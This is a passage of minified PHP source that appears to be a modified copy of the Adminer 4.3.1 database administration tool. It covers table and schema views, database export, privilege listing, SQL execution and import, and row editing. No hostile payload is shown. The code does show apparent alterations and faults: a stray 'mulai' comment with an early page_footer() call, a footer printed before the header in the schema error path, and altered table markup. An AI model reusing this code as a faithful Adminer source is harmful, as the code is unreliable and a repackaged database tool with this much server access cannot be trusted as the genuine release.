- echo "</table>\n",(support("database")?"<fieldset><legend>".'Selected'." <span id='selected'></span></legend><div>\n"."<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^db/));\">\n"."<input type='submit' name='drop' value='".'Drop'."'".confirm().">\n"."</div></fieldset>\n":""), "<script type='text/javascript'>tableCheck();</script>\n","<input type='hidden' name='token' value='$Ah'>\n","</form>\n";
- }
- }
- }
- if(isset($_GET["status"]))
- $_GET["variables"]=$_GET["status"];
- if(isset($_GET["import"]))
- $_GET["sql"]=$_GET["import"];
- if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["replication"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")) {
- if(DB!=""||$_GET["refresh"]) {
- restart_session();
- set_session("dbs",null);
- }
- connect_error();
- exit;
- }
- if(support("scheme")&&DB!=""&&$_GET["ns"]!=="") {
- if(!isset($_GET["ns"]))
- redirect(preg_replace('~ns=[^&]*&~','', ME)."ns=".get_schema());
- if(!set_schema($_GET["ns"])) {
- header("HTTP/1.1 404 Not Found");
- page_footer("ns");
- page_header('Schema'.": ".h($_GET["ns"]), 'Invalid schema.', true);
- exit;
- }
- }
- $Qe="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";
- class TmpFile {
- var $handler;
- var $size;
- function __construct() {
- $this->handler=tmpfile();
- }
- function write($wb) {
- $this->size+=strlen($wb);
- fwrite($this->handler,$wb);
- }
- function send() {
- fseek($this->handler, 0);
- fpassthru($this->handler);
- fclose($this->handler);
- }
- }
- $oc="'(?:''|[^'\\\\]|\\\\.)*'";
- $wd="IN|OUT|INOUT";
- if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])
- $_GET["edit"]=$_GET["select"];
- if(isset($_GET["callf"]))
- $_GET["call"]=$_GET["callf"];
- if(isset($_GET["function"]))
- $_GET["procedure"]=$_GET["function"];
- //mulai
- page_footer();
- if(isset($_GET["download"])) {
- $a=$_GET["download"];
- $p=fields($a);
- header("Content-Type: application/octet-stream");
- header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));
- $M=array(idf_escape($_GET["field"]));
- $I=$Vb->select($a,$M,array(where($_GET,$p)),$M);
- $K=($I?$I->fetch_row():array());
- echo $K[0];
- exit;
- }elseif(isset($_GET["table"])) {
- $a=$_GET["table"];
- $p=fields($a);
- if(!$p)
- $n=error();
- $S=table_status1($a, true);
- page_header(($p&&is_view($S)?$S['Engine']=='materialized view'?'Materialized view':'View':'Table').": ".h($a),$n);
- $b->selectLinks($S);
- $qb=$S["Comment"];
- if($qb!="")
- echo "<p>".'Comment'.": ".h($qb)."\n";
- if($p)
- $b->tableStructurePrint($p);
- if(!is_view($S)) {
- if(support("indexes")) {
- echo "<h3 id='indexes'>".'Indexes'."</h3>\n";
- $w=indexes($a);
- if($w)
- $b->tableIndexesPrint($w);
- echo '<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.'Alter indexes'."</a>\n";
- }
- if(fk_support($S)) {
- echo "<h3 id='foreign-keys'>".'Foreign keys'."</h3>\n";
- $Rc=foreign_keys($a);
- if($Rc) {
- echo "<table id='menustable' border='1' cellspacing='0'>\n","<thead><tr><td>".'Source'."<td>".'Target'."<td>".'ON DELETE'."<td>".'ON UPDATE'."<td> </thead>\n";
- foreach($Rc as $C=>$q) {
- echo "<tr title='".h($C)."'>","<td><i>".implode("</i>, <i>",array_map('h',$q["source"]))."</i>","<td><a href='".h($q["db"]!=""?preg_replace('~db=[^&]*~', "db=".urlencode($q["db"]), ME):($q["ns"]!=""?preg_replace('~ns=[^&]*~', "ns=".urlencode($q["ns"]), ME):ME))."table=".urlencode($q["table"])."'>".($q["db"]!=""?"<b>".h($q["db"])."</b>.":"").($q["ns"]!=""?"<b>".h($q["ns"])."</b>.":"").h($q["table"])."</a>","(<i>".implode("</i>, <i>",array_map('h',$q["target"]))."</i>)","<td>".nbsp($q["on_delete"])."\n","<td>".nbsp($q["on_update"])."\n",'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($C)).'">'.'Alter'.'</a>';
- }
- echo "</table>\n";
- }
- echo '<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.'Add foreign key'."</a>\n";
- }
- }
- if(support(is_view($S)?"view_trigger":"trigger")) {
- echo "<h3 id='triggers'>".'Triggers'."</h3>\n";
- $Lh=triggers($a);
- if($Lh) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n";
- foreach($Lh as $y=>$X)
- echo "<tr valign='top'><td>".h($X[0])."<td>".h($X[1])."<td>".h($y)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($y))."'>".'Alter'."</a>\n";
- echo "</table>\n";
- }
- echo '<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.'Add trigger'."</a>\n";
- }
- }elseif(isset($_GET["schema"])) {
- page_header('Database schema', "",array(), h(DB.($_GET["ns"]?".$_GET[ns]":"")));
- $fh=array();
- $gh=array();
- $ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);
- preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$he, PREG_SET_ORDER);
- foreach($he as $s=>$B) {
- $fh[$B[1]]=array($B[2],$B[3]);
- $gh[]="\n\t'".js_escape($B[1])."': [ $B[2],$B[3] ]";
- }
- $Bh=0;
- $Pa=-1;
- $ug=array();
- $bg=array();
- $Wd=array();
- foreach(table_status('', true) as $R=>$S) {
- if(is_view($S))
- continue;
- $Bf=0;
- $ug[$R]["fields"]=array();
- foreach(fields($R) as $C=>$o) {
- $Bf+=1.25;
- $o["pos"]=$Bf;
- $ug[$R]["fields"][$C]=$o;
- }
- $ug[$R]["pos"]=($fh[$R]?$fh[$R]:array($Bh,0));
- foreach($b->foreignKeys($R) as $X) {
- if(!$X["db"]) {
- $Ud=$Pa;
- if($fh[$R][1]||$fh[$X["table"]][1])
- $Ud=min(floatval($fh[$R][1]), floatval($fh[$X["table"]][1]))-1;
- else
- $Pa-=.1;
- while($Wd[(string) $Ud])
- $Ud-=.0001;
- $ug[$R]["references"][$X["table"]][(string) $Ud]=array($X["source"],$X["target"]);
- $bg[$X["table"]][$R][(string) $Ud]=$X["target"];
- $Wd[(string) $Ud]=true;
- }
- }
- $Bh=max($Bh,$ug[$R]["pos"][0]+2.5+$Bf);
- }
- echo '<div id="schema" style="height: ',$Bh, 'em;" onselectstart="return false;">
- <script type="text/javascript">
- var tablePos = {', implode(",",$gh)."\n",'};
- var em = document.getElementById(\'schema\').offsetHeight / ',$Bh, ';
- document.onmousemove = schemaMousemove;
- document.onmouseup = function (ev) {
- schemaMouseup(ev, \'', js_escape(DB), '\');
- };
- </script>
- ';
- foreach($ug as $C=>$R) {
- echo "<div class='table' style='top: ".$R["pos"][0]."em; left: ".$R["pos"][1]."em;' onmousedown='schemaMousedown(this, event);'>",'<a href="'.h(ME).'table='.urlencode($C).'"><b>'.h($C)."</b></a>";
- foreach($R["fields"] as $o) {
- $X='<span'.type_class($o["type"]).' title="'.h($o["full_type"].($o["null"]?" NULL":'')).'">'.h($o["field"]).'</span>';
- echo "<br>".($o["primary"]?"<i>$X</i>":$X);
- }
- foreach((array) $R["references"] as $mh=>$cg) {
- foreach($cg as $Ud=>$Yf) {
- $Vd=$Ud-$fh[$C][1];
- $s=0;
- foreach($Yf[0] as $Ng)
- echo "\n<div class='references' title='".h($mh)."' id='refs$Ud-".($s++)."' style='left: $Vd"."em; top: ".$R["fields"][$Ng]["pos"]."em; padding-top: .5em;'><div style='border-top: 1px solid Gray; width: ".(-$Vd)."em;'></div></div>";
- }
- }
- foreach((array) $bg[$C] as $mh=>$cg) {
- foreach($cg as $Ud=>$f) {
- $Vd=$Ud-$fh[$C][1];
- $s=0;
- foreach($f as $lh)
- echo "\n<div class='references' title='".h($mh)."' id='refd$Ud-".($s++)."' style='left: $Vd"."em; top: ".$R["fields"][$lh]["pos"]."em; height: 1.25em; background: url(data:image/png;base64,R0lGODlhCAAKAIAAAICAgP///yH5BAEAAAEALAAAAAAIAAoAAAIPBIJplrGLnpQRqtOy3rsAADs=) no-repeat right center;&version=4.3.1'><div style='height: .5em; border-bottom: 1px solid Gray; width: ".(-$Vd)."em;'></div></div>";
- }
- }
- echo "\n</div>\n";
- }
- foreach($ug as $C=>$R) {
- foreach((array) $R["references"] as $mh=>$cg) {
- foreach($cg as $Ud=>$Yf) {
- $we=$Bh;
- $le=-10;
- foreach($Yf[0] as $y=>$Ng) {
- $Cf=$R["pos"][0]+$R["fields"][$Ng]["pos"];
- $Df=$ug[$mh]["pos"][0]+$ug[$mh]["fields"][$Yf[1][$y]]["pos"];
- $we=min($we,$Cf,$Df);
- $le=max($le,$Cf,$Df);
- }
- echo "<div class='references' id='refl$Ud' style='left: $Ud"."em; top: $we"."em; padding: .5em 0;'><div style='border-right: 1px solid Gray; margin-top: 1px; height: ".($le-$we)."em;'></div></div>\n";
- }
- }
- }
- echo '</div>
- <p class="links"><a href="', h(ME."schema=".urlencode($ea)), '" id="schema-link">Permanent link</a>
- ';
- }elseif(isset($_GET["dump"])) {
- $a=$_GET["dump"];
- if($_POST&&!$n) {
- $zb="";
- foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style") as $y)
- $zb.="&$y=".urlencode($_POST[$y]);
- cookie("adminer_export",substr($zb, 1));
- $T=array_flip((array) $_POST["tables"])+array_flip((array) $_POST["data"]);
- $_c=dump_headers((count($T)==1?key($T):DB),(DB==""||count($T)>1));
- $Dd=preg_match('~sql~',$_POST["format"]);
- if($Dd) {
- echo "-- Adminer $ia ".$Wb[DRIVER]." dump\n\n";
- if($x=="sql") {
- echo "SET NAMES utf8;
- SET time_zone = '+00:00';
- ".($_POST["data_style"]?"SET foreign_key_checks = 0;
- SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
- ":"")."
- ";
- $g->query("SET time_zone = '+00:00';");
- }
- }
- $Wg=$_POST["db_style"];
- $l=array(DB);
- if(DB=="") {
- $l=$_POST["databases"];
- if(is_string($l))
- $l=explode("\n",rtrim(str_replace("\r","",$l), "\n"));
- }
- foreach((array) $l as $m) {
- $b->dumpDatabase($m);
- if($g->select_db($m)) {
- if($Dd&&preg_match('~CREATE~',$Wg)&&($i=$g->result("SHOW CREATE DATABASE ".idf_escape($m), 1))) {
- set_utf8mb4($i);
- if($Wg=="DROP+CREATE")
- echo "DROP DATABASE IF EXISTS ".idf_escape($m).";\n";
- echo "$i;\n";
- }
- if($Dd) {
- if($Wg)
- echo use_sql($m).";\n\n";
- $kf="";
- if($_POST["routines"]) {
- foreach(array("FUNCTION","PROCEDURE") as $og) {
- foreach(get_rows("SHOW $og STATUS WHERE Db = ".q($m), null, "-- ") as $K) {
- $i=remove_definer($g->result("SHOW CREATE $og ".idf_escape($K["Name"]), 2));
- set_utf8mb4($i);
- $kf.=($Wg!='DROP+CREATE'?"DROP $og IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$i;;\n\n";
- }
- }
- }
- if($_POST["events"]) {
- foreach(get_rows("SHOW EVENTS",null, "-- ") as $K) {
- $i=remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($K["Name"]), 3));
- set_utf8mb4($i);
- $kf.=($Wg!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$i;;\n\n";
- }
- }
- if($kf)
- echo "DELIMITER ;;\n\n$kf"."DELIMITER ;\n\n";
- }
- if($_POST["table_style"]||$_POST["data_style"]) {
- $li=array();
- foreach(table_status('', true) as $C=>$S) {
- $R=(DB==""||in_array($C, (array) $_POST["tables"]));
- $Eb=(DB==""||in_array($C, (array) $_POST["data"]));
- if($R||$Eb) {
- if($_c=="tar") {
- $zh=new TmpFile;
- ob_start(array($zh,'write'), 1e5);
- }
- $b->dumpTable($C, ($R?$_POST["table_style"]:""),(is_view($S)?2:0));
- if(is_view($S))
- $li[]=$C;
- elseif($Eb) {
- $p=fields($C);
- $b->dumpData($C,$_POST["data_style"], "SELECT *".convert_fields($p,$p)." FROM ".table($C));
- }
- if($Dd&&$_POST["triggers"]&&$R&&($Lh=trigger_sql($C,$_POST["table_style"])))
- echo "\nDELIMITER ;;\n$Lh\nDELIMITER ;\n";
- if($_c=="tar") {
- ob_end_flush();
- tar_file((DB!=""?"":"$m/")."$C.csv",$zh);
- }elseif($Dd)
- echo "\n";
- }
- }
- foreach($li as $ki)
- $b->dumpTable($ki,$_POST["table_style"], 1);
- if($_c=="tar")
- echo pack("x512");
- }
- }
- }
- if($Dd)
- echo "-- ".$g->result("SELECT NOW()")."\n";
- exit;
- }
- page_header('Export',$n, ($_GET["export"]!=""?array("table"=>$_GET["export"]):array()), h(DB));
- echo '<form action="" method="post">
- <table id="menustable" cellspacing="0" border="1">';
- $Hb=array('','USE','DROP+CREATE','CREATE');
- $hh=array('','DROP+CREATE','CREATE');
- $Fb=array('','TRUNCATE+INSERT','INSERT');
- if($x=="sql")
- $Fb[]='INSERT+UPDATE';
- parse_str($_COOKIE["adminer_export"],$K);
- if(!$K)
- $K=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");
- if(!isset($K["events"])) {
- $K["routines"]=$K["events"]=($_GET["dump"]=="");
- $K["triggers"]=$K["table_style"];
- }
- echo "<tr><td>".'Output'."<td>".html_select("output",$b->dumpOutput(),$K["output"], 0)."\n";
- echo "<tr><td>".'Format'."<td>".html_select("format",$b->dumpFormat(),$K["format"], 0)."\n";
- echo ($x=="sqlite"?"":"<tr><td>".'Database'."<td>".html_select('db_style',$Hb,$K["db_style"]).(support("routine")?checkbox("routines",1,$K["routines"], 'Routines'):"").(support("event")?checkbox("events",1,$K["events"], 'Events'):"")), "<tr><td>".'Tables'."<td>".html_select('table_style',$hh,$K["table_style"]).checkbox("auto_increment",1,$K["auto_increment"], 'Auto Increment').(support("trigger")?checkbox("triggers",1,$K["triggers"], 'Triggers'):""), "<tr><td>".'Data'."<td>".html_select('data_style',$Fb,$K["data_style"]), '</table>
- <p><input type="submit" value="Export">
- <input type="hidden" name="token" value="',$Ah, '">
- <table id="menustable" cellspacing="0" border="1">
- ';
- $Gf=array();
- if(DB!="") {
- $cb=($a!=""?"":" checked");
- echo "<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$cb onclick='formCheck(this, /^tables\\[/);'>".'Tables'."</label>","<th style='text-align: right;'><label class='block'>".'Data'."<input type='checkbox' id='check-data'$cb onclick='formCheck(this, /^data\\[/);'></label>","</thead>\n";
- $li="";
- $ih=tables_list();
- foreach($ih as $C=>$U) {
- $Ff=preg_replace('~_.*~','',$C);
- $cb=($a==""||$a==(substr($a, -1)=="%"?"$Ff%":$C));
- $Jf="<tr><td>".checkbox("tables[]",$C,$cb,$C, "checkboxClick(event, this); formUncheck('check-tables');","block");
- if($U!==null&&!preg_match('~table~i',$U))
- $li.="$Jf\n";
- else
- echo "$Jf<td align='right'><label class='block'><span id='Rows-".h($C)."'></span>".checkbox("data[]",$C,$cb, "","checkboxClick(event, this); formUncheck('check-data');")."</label>\n";
- $Gf[$Ff]++;
- }
- echo $li;
- if($ih)
- echo "<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";
- }else{
- echo "<thead><tr><th style='text-align: left;'><label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"")." onclick='formCheck(this, /^databases\\[/);'>".'Database'."</label></thead>\n";
- $l=$b->databases();
- if($l) {
- foreach($l as $m) {
- if(!information_schema($m)) {
- $Ff=preg_replace('~_.*~','',$m);
- echo "<tr><td>".checkbox("databases[]",$m,$a==""||$a=="$Ff%",$m, "formUncheck('check-databases');","block")."\n";
- $Gf[$Ff]++;
- }
- }
- } else
- echo "<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";
- }
- echo '</table>
- </form>
- ';
- $Kc=true;
- foreach($Gf as $y=>$X) {
- if($y!=""&&$X>1) {
- echo ($Kc?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$y%")."'>".h($y)."</a>";
- $Kc=false;
- }
- }
- }elseif(isset($_GET["privileges"])) {
- page_header('Privileges');
- echo '<p class="links"><a href="'.h(ME).'user=">'.'Create user'."</a>";
- $I=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");
- $Yc=$I;
- if(!$I)
- $I=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");
- echo "<form action=''><p>\n";
- hidden_fields_get();
- echo "<input type='hidden' name='db' value='".h(DB)."'>\n",($Yc?"":"<input type='hidden' name='grant' value=''>\n"), "<table id='menustable' cellspacing='0' border='1'>\n","<thead><tr><td>".'Username'."<td>".'Server'."<td> </thead>\n";
- while($K=$I->fetch_assoc())
- echo '<tr'.odd().'><td>'.h($K["User"])."<td>".h($K["Host"]).'<td><a href="'.h(ME.'user='.urlencode($K["User"]).'&host='.urlencode($K["Host"])).'">'.'Edit'."</a>\n";
- if(!$Yc||DB!="")
- echo "<tr".odd()."><td><input type='text' name='user' autocapitalize='off'><td><input type='text' name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".'Edit'."'>\n";
- echo "</table>\n","</form>\n";
- }elseif(isset($_GET["sql"])) {
- if(!$n&&$_POST["export"]) {
- dump_headers("sql");
- $b->dumpTable("","");
- $b->dumpData("","table",$_POST["query"]);
- exit;
- }
- restart_session();
- $id=&get_session("queries");
- $hd=&$id[DB];
- if(!$n&&$_POST["clear"]) {
- $hd=array();
- redirect(remove_from_uri("history"));
- }
- page_header((isset($_GET["import"])?'Import':'SQL command'),$n);
- if(!$n&&$_POST) {
- $Vc=false;
- if(!isset($_GET["import"]))
- $H=$_POST["query"];
- elseif($_POST["webfile"]) {
- $Vc=@fopen((file_exists("adminer.sql")?"adminer.sql":"compress.zlib://adminer.sql.gz"), "rb");
- $H=($Vc?fread($Vc, 1e6):false);
- } else
- $H=get_file("sql_file",true);
- if(is_string($H)) {
- if(function_exists('memory_get_usage'))
- @ini_set("memory_limit",max(ini_bytes("memory_limit"), 2*strlen($H)+memory_get_usage()+8e6));
- if($H!=""&&strlen($H)<1e6) {
- $Qf=$H.(preg_match("~;[ \t\r\n]*\$~",$H)?"":";");
- if(!$hd||reset(end($hd))!=$Qf) {
- restart_session();
- $hd[]=array($Qf,time());
- set_session("queries",$id);
- stop_session();
- }
- }
- $Og="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";
- $Mb=";";
- $D=0;
- $lc=true;
- $h=connect();
- if(is_object($h)&&DB!="")
- $h->select_db(DB);
- $pb=0;
- $qc=array();
- $pf='[\'"'.($x=="sql"?'`#':($x=="sqlite"?'`[':($x=="mssql"?'[':''))).']|/\\*|-- |$'.($x=="pgsql"?'|\\$[^$]*\\$':'');
- $Ch=microtime(true);
- parse_str($_COOKIE["adminer_export"],$wa);
- $cc=$b->dumpFormat();
- unset($cc["sql"]);
- while($H!="") {
- if(!$D&&preg_match("~^$Og*+DELIMITER\\s+(\\S+)~i",$H,$B)) {
- $Mb=$B[1];
- $H=substr($H, strlen($B[0]));
- }else{
- preg_match('('.preg_quote($Mb)."\\s*|$pf)",$H,$B, PREG_OFFSET_CAPTURE,$D);
- list($Tc,$Bf)=$B[0];
- if(!$Tc&&$Vc&&!feof($Vc))
- $H.=fread($Vc, 1e5);
- else {
- if(!$Tc&&rtrim($H)=="")
- break;
- $D=$Bf+strlen($Tc);
- if($Tc&&rtrim($Tc)!=$Mb) {
- while(preg_match('('.($Tc=='/*'?'\\*/':($Tc=='['?']':(preg_match('~^-- |^#~',$Tc)?"\n":preg_quote($Tc)."|\\\\."))).'|$)s',$H,$B, PREG_OFFSET_CAPTURE,$D)) {
- $sg=$B[0][0];
- if(!$sg&&$Vc&&!feof($Vc))
- $H.=fread($Vc, 1e5);
- else {
- $D=$B[0][1]+strlen($sg);
- if($sg[0]!="\\")
- break;
- }
- }
- }else{
- $lc=false;
- $Qf=substr($H, 0,$Bf);
- $pb++;
- $Jf="<pre id='sql-$pb'><span class='jush-$x'>".$b->sqlCommandQuery($Qf)."</span></pre>\n";
- if($x=="sqlite"&&preg_match("~^$Og*+ATTACH\\b~i",$Qf,$B)) {
- echo $Jf, "<p class='error'>".'ATTACH queries are not supported.'."\n";
- $qc[]=" <a href='#sql-$pb'>$pb</a>";
- if($_POST["error_stops"])
- break;
- }else{
- if(!$_POST["only_errors"]) {
- echo $Jf;
- ob_flush();
- flush();
- }
- $Sg=microtime(true);
- if($g->multi_query($Qf)&&is_object($h)&&preg_match("~^$Og*+USE\\b~i",$Qf))
- $h->query($Qf);
- do {
- $I=$g->store_result();
- $sh=" <span class='time'>(".format_time($Sg).")</span>".(strlen($Qf)<1000?" <a href='".h(ME)."sql=".urlencode(trim($Qf))."'>".'Edit'."</a>":"");
- if($g->error) {
- echo ($_POST["only_errors"]?$Jf:""), "<p class='error'>".'Error in query'.($g->errno?" ($g->errno)":"").": ".error()."\n";
- $qc[]=" <a href='#sql-$pb'>$pb</a>";
- if($_POST["error_stops"])
- break 2;
- }elseif(is_object($I)) {
- $z=$_POST["limit"];
- $df=select($I,$h, array(),$z);
- if(!$_POST["only_errors"]) {
- echo "<form action='' method='post'>\n";
- $Ge=$I->num_rows;
- echo "<p>".($Ge?($z&&$Ge>$z?sprintf('%d / ',$z):"").lang(array('%d row','%d rows'),$Ge):""),$sh;
- $t="export-$pb";
- $zc=",<a href='#$t' onclick=\"return !toggle('$t');\">".'Export'."</a><span id='$t' class='hidden'>: ".html_select("output",$b->dumpOutput(),$wa["output"])." ".html_select("format",$cc,$wa["format"])."<input type='hidden' name='query' value='".h($Qf)."'>"." <input type='submit' name='export' value='".'Export'."'><input type='hidden' name='token' value='$Ah'></span>\n";
- if($h&&preg_match("~^($Og|\\()*+SELECT\\b~i",$Qf)&&($yc=explain($h,$Qf))) {
- $t="explain-$pb";
- echo ",<a href='#$t' onclick=\"return !toggle('$t');\">EXPLAIN</a>$zc","<div id='$t' class='hidden'>\n";
- select($yc,$h,$df);
- echo "</div>\n";
- } else
- echo $zc;
- echo "</form>\n";
- }
- }else{
- if(preg_match("~^$Og*+(CREATE|DROP|ALTER)$Og++(DATABASE|SCHEMA)\\b~i",$Qf)) {
- restart_session();
- set_session("dbs",null);
- stop_session();
- }
- if(!$_POST["only_errors"])
- echo "<p class='message' title='".h($g->info)."'>".lang(array('Query executed OK, %d row affected.','Query executed OK, %d rows affected.'),$g->affected_rows)."$sh\n";
- }
- $Sg=microtime(true);
- } while($g->next_result());
- }
- $H=substr($H,$D);
- $D=0;
- }
- }
- }
- }
- if($lc)
- echo "<p class='message'>".'No commands to execute.'."\n";
- elseif($_POST["only_errors"]) {
- echo "<p class='message'>".lang(array('%d query executed OK.','%d queries executed OK.'),$pb-count($qc)), " <span class='time'>(".format_time($Ch).")</span>\n";
- }elseif($qc&&$pb>1)
- echo "<p class='error'>".'Error in query'.": ".implode("",$qc)."\n";
- } else
- echo "<p class='error'>".upload_error($H)."\n";
- }
- echo '<form action="" method="post" enctype="multipart/form-data" id="form">';
- $vc="<input type='submit' value='".'Execute'."' title='Ctrl+Enter'>";
- if(!isset($_GET["import"])) {
- $Qf=$_GET["sql"];
- if($_POST)
- $Qf=$_POST["query"];
- elseif($_GET["history"]=="all")
- $Qf=$hd;
- elseif($_GET["history"]!="")
- $Qf=$hd[$_GET["history"]][0];
- echo "<p>";
- textarea("query",$Qf, 20);
- echo ($_POST?"":"<script type='text/javascript'>document.getElementsByTagName('textarea')[0].focus();</script>\n"), "<p>$vc\n",'Limit rows'.": <input type='number' name='limit' class='size' value='".h($_POST?$_POST["limit"]:$_GET["limit"])."'>\n";
- }else{
- echo "<fieldset><legend>".'File upload'."</legend><div>",(ini_bool("file_uploads")?"SQL (< ".ini_get("upload_max_filesize")."B): <input type='file' name='sql_file[]' multiple>\n$vc":'File uploads are disabled.'), "</div></fieldset>\n","<fieldset><legend>".'From server'."</legend><div>",sprintf('Webserver file %s', "<span class=cod>adminer.sql".(extension_loaded("zlib")?"[.gz]":"")."</span>"), ' <input type="submit" name="webfile" value="'.'Run file'.'">', "</div></fieldset>\n","<p>";
- }
- echo checkbox("error_stops",1, ($_POST?$_POST["error_stops"]:isset($_GET["import"])), 'Stop on error')."\n",checkbox("only_errors",1, ($_POST?$_POST["only_errors"]:isset($_GET["import"])), 'Show only errors')."\n","<input type='hidden' name='token' value='$Ah'>\n";
- if(!isset($_GET["import"])&&$hd) {
- print_fieldset("history",'History',$_GET["history"]!="");
- for($X=end($hd); $X; $X=prev($hd)) {
- $y=key($hd);
- list($Qf,$sh,$gc)=$X;
- echo '<a href="'.h(ME."sql=&history=$y").'">'.'Edit'."</a>"." <span class='time' title='".@date('Y-m-d',$sh)."'>".@date("H:i:s",$sh)."</span>"." <span class='jush-$x'>".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace('~^(#|-- ).*~m','',$Qf)))), 80, "</span>").($gc?" <span class='time'>($gc)</span>":"")."<br>\n";
- }
- echo "<input type='submit' name='clear' value='".'Clear'."'>\n","<a href='".h(ME."sql=&history=all")."'>".'Edit all'."</a>\n","</div></fieldset>\n";
- }
- echo '</form>';
- }elseif(isset($_GET["edit"])) {
- $a=$_GET["edit"];
- $p=fields($a);
- $Z=(isset($_GET["select"])?(count($_POST["check"])==1?where_check($_POST["check"][0],$p):""):where($_GET,$p));
- $Wh=(isset($_GET["select"])?$_POST["edit"]:$Z);
- foreach($p as $C=>$o) {
- if(!isset($o["privileges"][$Wh?"update":"insert"])||$b->fieldName($o)=="")
- unset($p[$C]);
- }
- if($_POST&&!$n&&!isset($_GET["select"])) {
- $A=$_POST["referer"];
- if($_POST["insert"])
- $A=($Wh?null:$_SERVER["REQUEST_URI"]);
- elseif(!preg_match('~^.+&select=.+$~',$A))
- $A=ME."select=".urlencode($a);
- $w=indexes($a);
- $Rh=unique_array($_GET["where"],$w);
- $Tf="\nWHERE $Z";
- if(isset($_POST["delete"]))
- queries_redirect($A, 'Item has been deleted.',$Vb->delete($a,$Tf, !$Rh));
- else {
- $O=array();
- foreach($p as $C=>$o) {
- $X=process_input($o);
- if($X!==false&&$X!==null)
- $O[idf_escape($C)]=$X;
- }
- if($Wh) {
- if(!$O)
- redirect($A);
- queries_redirect($A, 'Item has been updated.',$Vb->update($a,$O,$Tf, !$Rh));
- if(is_ajax()) {
- page_headers();
- page_messages($n);
- exit;
- }
- }else{
- $I=$Vb->insert($a,$O);
- $Td=($I?last_id():0);
- queries_redirect($A, sprintf('Item%s has been inserted.', ($Td?" $Td":"")),$I);
- }
- }
- }
- $K=null;
- if($_POST["save"])
- $K=(array) $_POST["fields"];
- elseif($Z) {
- $M=array();
- foreach($p as $C=>$o) {
- if(isset($o["privileges"]["select"])) {
- $Fa=convert_field($o);
- if($_POST["clone"]&&$o["auto_increment"])
- $Fa="''";
- if($x=="sql"&&preg_match("~enum|set~",$o["type"]))
- $Fa="1*".idf_escape($C);
- $M[]=($Fa?"$Fa AS ":"").idf_escape($C);
- }
- }
- $K=array();
- if(!support("table"))
- $M=array("*");
- if($M) {
- $I=$Vb->select($a,$M, array($Z),$M, array(),(isset($_GET["select"])?2:1));
- $K=$I->fetch_assoc();
- if(!$K)
- $K=false;
- if(isset($_GET["select"])&&(!$K||$I->fetch_assoc()))
- $K=null;
- }
- }
- if(!support("table")&&!$p) {
- if(!$Z) {
- $I=$Vb->select($a, array("*"),$Z, array("*"));
- $K=($I?$I->fetch_assoc():false);
- if(!$K)
- $K=array($Vb->primary=>"");
- }
- if($K) {
- foreach($K as $y=>$X) {
- if(!$Z)
- $K[$y]=null;
- $p[$y]=array("field"=>$y,"null"=>($y!=$Vb->primary),"auto_increment"=>($y==$Vb->primary));
- }
- }
- }
- edit_form($a,$p,$K,$Wh);
- }elseif(isset($_GET["create"])) {
- $a=$_GET["create"];
- $rf=array();
- foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST') as $y)
- $rf[$y]=$y;
- $ag=referencable_primary($a);
- $Rc=array();
- foreach($ag as $dh=>$o)
- $Rc[str_replace("`","``",$dh)."`".str_replace("`","``",$o["field"])]=$dh;
- $gf=array();
- $S=array();
- if($a!="") {
- $gf=fields($a);
- $S=table_status($a);
- if(!$S)
- $n='No tables.';
- }
- $K=$_POST;
- $K["fields"]=(array) $K["fields"];
- if($K["auto_increment_col"])
- $K["fields"][$K["auto_increment_col"]]["auto_increment"]=true;
- if($_POST&&!process_fields($K["fields"])&&!$n) {
- if($_POST["drop"])
- queries_redirect(substr(ME, 0, -1), 'Table has been dropped.', drop_tables(array($a)));
- else {
- $p=array();
- $Ca=array();
- $ai=false;
- $Pc=array();
- $ff=reset($gf);
- $_a=" FIRST";
- foreach($K["fields"] as $y=>$o) {
- $q=$Rc[$o["type"]];
- $Mh=($q!==null?$ag[$q]:$o);
- if($o["field"]!="") {
- if(!$o["has_default"])
- $o["default"]=null;
- if($y==$K["auto_increment_col"])
- $o["auto_increment"]=true;
- $Of=process_field($o,$Mh);
- $Ca[]=array($o["orig"],$Of,$_a);
- if($Of!=process_field($ff,$ff)) {
- $p[]=array($o["orig"],$Of,$_a);
- if($o["orig"]!=""||$_a)
- $ai=true;
- }
- if($q!==null)
